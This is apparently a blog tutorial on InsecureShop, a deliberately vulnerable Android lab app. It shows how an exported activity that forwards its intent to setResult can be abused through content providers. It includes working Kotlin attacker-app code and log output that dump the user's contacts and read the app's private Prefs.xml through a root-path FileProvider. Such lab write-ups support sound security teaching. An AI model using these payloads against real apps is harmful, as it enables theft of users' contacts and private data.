Exploiting content providers through an insecure SetResult implementation

How an insecure implementation of SetResult can lead to exploitation of the available content providers.

Date and Time of last update Tue 12 Oct 2021
  

As I mentioned in a previous article here, InsecureShop is an interesting, intentionally vulnerable application written in Kotlin. In this article we will focus on another vulnerability presented in that app and more specifically on the insecure implementation of SetResult and how it can have a serious impact on the sensitive data of the user. We will see two different cases:

For both cases we will create an Android app which will be the "Attacker" to the vulnerable app. We will not go over details on how you can create your own app as it is outside of the scope of this article, we will only show the relevant parts of the code.

As a first step we start by identifying the culprit for this vulnerability. Checking the AndroidManifest file we spot the following exported activity:

<activity android:name=".ResultActivity" android:exported="true"/>


Visiting the activity itself, it can be seen that it does not have much:

class ResultActivity : AppCompatActivity() {

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setResult(-1, intent)
        finish()
    }
}


It can be easily spotted that an unfiltered intent is being passed to the setResult on line 5. This is extremely dangerous as it means that since this activity is exported, another activity belonging to an "attacking" app can call it and pass an intent which will be executed in the context of the vulnerable app and then return the result to the caller, which is the attacking app.


Retrieve the user`s contacts

In order to do so, we will create a function in our "attacking" app which will create an intent with the proper data and flags and then launch the corresponding activity and wait for the result. The following code can handle this:

val intent = Intent()
intent.data = ContactsContract.RawContacts.CONTENT_URI
intent.flags = Intent.FLAG_GRANT_READ_URI_PERMISSION
intent.setClassName("com.insecureshop", "com.insecureshop.ResultActivity")
startActivityForResult(intent, 0);


A special note should be made here as startActivityForResult is deprecated (though you can still use it) but I chose to use it as the new way of doing it, is not so easy to comprehend at a glance(you can see more on the new way of doing it here). The snippet above is relatively easy to follow, as it creates an intent, it passes as the data of the intent the RawContacts content URI, it then specifies the flag FLAG_GRANT_READ_URI_PERMISSION which is essential for this to work and before starting the activity it specifies the class name of the activity.

We should now handle the incoming result from the called activity and the following snippet shows how we can handle this.

override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
    super.onActivityResult(requestCode, resultCode, data)
    try {
        dump(data!!.data)
    } catch (e: Exception) {
        throw RuntimeException(e)
    }
}

fun dump(uri: Uri?) {
    val cursor: Cursor? = contentResolver.query(uri!!, null, null, null, null)
    if (cursor!!.moveToFirst()) {
        do {
            val sb = StringBuilder()
            for (i in 0 until cursor.columnCount) {
                if (sb.isNotEmpty()) {
                    sb.append(", ")
                }
                sb.append(cursor.getColumnName(i).toString() + " = " + cursor.getString(i))
            }
            Log.d("CONTACTS_RAW", sb.toString())
        } while (cursor.moveToNext())
    }
}


There are two parts in the snippet above, the first is the onActivityResult, which basically handles the returned result from the activity we called, the second is merely a helper function to help print the retrieved contacts in a readable way.

Putting it to action yields the following result:

2021-10-11 21:34:43.116 4345-4345/com.erev0s.attackerinsecureshop D/CONTACTS_RAW: phonetic_name = null, last_time_contacted = null, custom_ringtone = null, pinned = 0, account_type = com.google, aggregation_mode = 0, contact_id = 1, display_name_alt = Doe, John, sort_key_alt = Doe, John, starred = 0, phonebook_label = J, account_name = [email protected], display_name_source = 40, phonetic_name_style = 0, send_to_voicemail = 0, dirty = 0, sourceid = 538b6d4f8ff9127c, phonebook_label_alt = D, phonebook_bucket = 10, data_set = null, display_name = John Doe, sort_key = John Doe, version = 11, backup_id = null, deleted = 0, sync4 = null, sync3 = 1633872460615472, raw_contact_is_user_profile = 0, times_contacted = 0, sync2 = #VZiJGdZJy2c=, _id = 1, metadata_dirty = 0, sync1 = null, account_type_and_data_set = com.google, phonebook_bucket_alt = 4


In this case the single available contact that was in the device was displayed.

It should be noted that although InsecureShop had declared the proper permission in AndroidManifest, it did not request it at any point.


This means that in order to actually perform this attack we had to add the following line of code in the InsecureShop app in order for the app to actually have the permission to read the contacts. You can add it in the LoginActivity.kt right below line 28 where the permission to read/write to external storage is requested.

requestPermissions(arrayOf(Manifest.permission.READ_CONTACTS), 1)



Exploiting a FileProvider to get access to sensitive information

A FileProvider is a sub-class of a ContentProvider, which basically handles in a secure way the sharing of app related files. When we check the AndroidManifest of the InsecureShop, we notice the FileProvider as seen below:

<provider
    android:name="androidx.core.content.FileProvider"
    android:authorities="com.insecureshop.file_provider"
    android:exported="false"
    android:grantUriPermissions="true"
    >
    <meta-data
        android:name="android.support.FILE_PROVIDER_PATHS"
        android:resource="@xml/provider_paths" />
</provider>


The first thing to notice is the android:grantUriPermissions="true" which indicates we can access the URIs served by this provider by passing the proper flags FLAG_GRANT_READ_URI_PERMISSION and FLAG_GRANT_WRITE_URI_PERMISSION. Do note, that the provider is not exported, meaning that normally it can not be accessed by other applications on the same device.

Finally, on the meta-data the resource @xml/provider_paths is defined, which is located at main/res/xml/provider_paths.xml and has the following contents:

<?xml version="1.0" encoding="utf-8"?>
<paths xmlns:android="http://schemas.android.com/apk/res/android">
<root-path
    name="root"
    path="/" />
</paths>


Checking the documentation of the FileProvider which can be found here, you will not find the <root-path...> among the available paths. This path although not documented is available and can be used to provide access to internal storage of the app along with /data and sdcard. This path grants access to protected parts of the app and of the device, so exploiting this is particularly dangerous as it might even allow remote code execution (e.g TikTok).



So, as a first step lets see how we can find the correct URI to be used for our attack. For this we can once more edit the source code of the InsecureShop to print it out for us:

val file = File("/data/data/com.insecureshop/shared_prefs/Prefs.xml")
val contentUri = getUriForFile(view.context, "com.insecureshop.file_provider", file)
Log.d("erev0s.com", contentUri.toString())


// Which returns something like
2021-10-12 17:50:30.304 3812-3812/com.insecureshop D/erev0s.com: content://com.insecureshop.file_provider/root/data/data/com.insecureshop/shared_prefs/Prefs.xml


Now that we have the URI for the Prefs.xml file lets use it to retrieve this sensitive file from our "attacking" app.

fun insecureFileProvider() {
    val contentUri = Uri.parse("content://com.insecureshop.file_provider/root/data/data/com.insecureshop/shared_prefs/Prefs.xml")
    val intent = Intent()
    intent.data = contentUri
    intent.setClassName("com.insecureshop", "com.insecureshop.ResultActivity")
    intent.flags = Intent.FLAG_GRANT_READ_URI_PERMISSION
    startActivityForResult(intent, 0)
}


In line two we set the URI we retrieved earlier and in the following lines we set the data the class name and the proper flags of the intent that will trigger the vulnerable activity similar to the first case we saw earlier. In order to retrieve the result from the called activity we have to also override the onActivityResult as shown below:

override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
    super.onActivityResult(requestCode, resultCode, data)
    try {
        val content = IOUtils.toString(contentResolver.openInputStream(data?.data!!))
        Log.d("erev0s.com", content)
        Toast.makeText(this@MainActivity, content, Toast.LENGTH_SHORT).show()
    } catch (e: Exception) {
        throw RuntimeException(e)
    }
}


This time besides just logging the result we also set a toast for it. The following figure shows the result where the internal sensitive file Prefs.xml was retrieved by our attacking application

prefsxml.webp




Conclusion

In both cases shown, it is clear that passing an unsanitized intent to the setResult can have a great security impact. We can also see, that although Android is designed to isolate applications, that alone is not enough to protect the user if a mis-configuration exists.

Finally, given that this is the second article regarding InsecureShop, I will release in the future another one with the rest of the vulnerabilities explained as it is an interesting application that can be used for learning/teaching purposes.

As always feel free to reach out to me for any questions or remarks.